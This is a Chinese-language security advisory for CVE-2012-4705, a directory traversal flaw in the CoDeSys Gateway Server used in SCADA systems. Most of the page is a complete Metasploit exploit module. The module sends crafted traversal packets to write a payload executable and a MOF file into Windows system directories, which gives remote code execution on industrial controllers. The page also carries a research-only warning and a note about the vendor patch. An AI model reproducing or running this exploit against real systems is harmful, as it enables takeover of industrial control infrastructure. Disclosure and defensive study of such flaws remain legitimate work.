CoDeSys Gateway Server目录遍历漏洞(CVE-2012-4705)

CoDeSys Gateway Server目录遍历漏洞(CVE-2012-4705)

发布日期：2013-02-19
更新日期：2013-04-26

受影响系统：
3S CoDeSys Gateway Server <= 2.3.9.27
描述：
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BUGTRAQ  ID: 59446
 CVE(CAN) ID: CVE-2012-4705
 
CoDeSys是Windows平台下，独立于硬件的IEC 61131-3开发系统，用于编程和创建控制器应用。
 
CoDeSys 2.3.9.27之前版本存在目录遍历漏洞，通过此漏洞可创建任意文件，这些文件可用于执行mof文件，以获取SCADA系统的远程执行权限。
 
<*来源：Aaron Portnoy （aportnoy@ccs.neu.edu）
  *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # web site for more information on licensing and terms of use.
 #  http://metasploit.com
 ##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::WbemExec
 
  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability that allows arbitrary
        file creation, which can be used to execute a mof file in order to gain remote
        execution within the SCADA system.
      },
      'Author'        =>
        [
          'Enrique Sanchez <esanchez[at]accuvant.com>'
        ],
      'License'        => 'MSF_LICENSE',
      'References'    =>
        [
          ['CVE', '2012-4705'],
          ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
        ],
      'DisclosureDate' => 'Feb 02 2013',
      'Platform'      => 'win',
      'Targets'        =>
        [
          ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
        ],
      'DefaultTarget' => 0))
 
    register_options(
      [
        Opt::RPORT(1211),
      ], self.class)
  end
 
  ##
  # upload_file(remote_filepath, remote_filename, local_filedata)
  #
  # remote_filepath: Remote filepath where the file will be uploaded
  # remote_filename: Remote name of the file to be executed ie. boot.ini
  # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
  def upload_file(remote_filepath, remote_filename, local_filedata = null)
    magic_code = "\xdd\xdd"
    opcode = [6].pack('L')
 
    # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
    file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
    #print_debug("File to upload: #{file}")
    pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
    #print_debug(pkt_size)
 
    # Magic_code  + packing + size
    pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
 
    tmp_pkt = opcode << file
    tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
    pkt << tmp_pkt
 
    print_status("Starting upload of file #{remote_filename}")
    connect
    sock.put(pkt)
    disconnect
 
    print_status("File uploaded")
  end
 
  def exploit
    print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
 
    # We create an exe payload, we have to get remote execution in 2 steps
    exe = generate_payload_exe
    exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
    upload_file("windows\\system32\\", exe_name, exe)
 
    # We create the mof file and upload (second step)
    mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
    mof = generate_mof(mof_name, exe_name)
    upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
 
    print_status("Everything is ready, waiting for a session ... ")
    handler
 
    #Taken from the spooler exploit writen byt jduck and HDMoore
    cnt = 1
    while session_created? == false and cnt < 25
      ::IO.select(nil, nil, nil, 0.25)
      cnt += 1
    end
  end
 end

建议：
--------------------------------------------------------------------------------
厂商补丁：
 
3S
 --
 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
 
http://www.3s-software.com/index.shtml?en_CoDeSysV3_en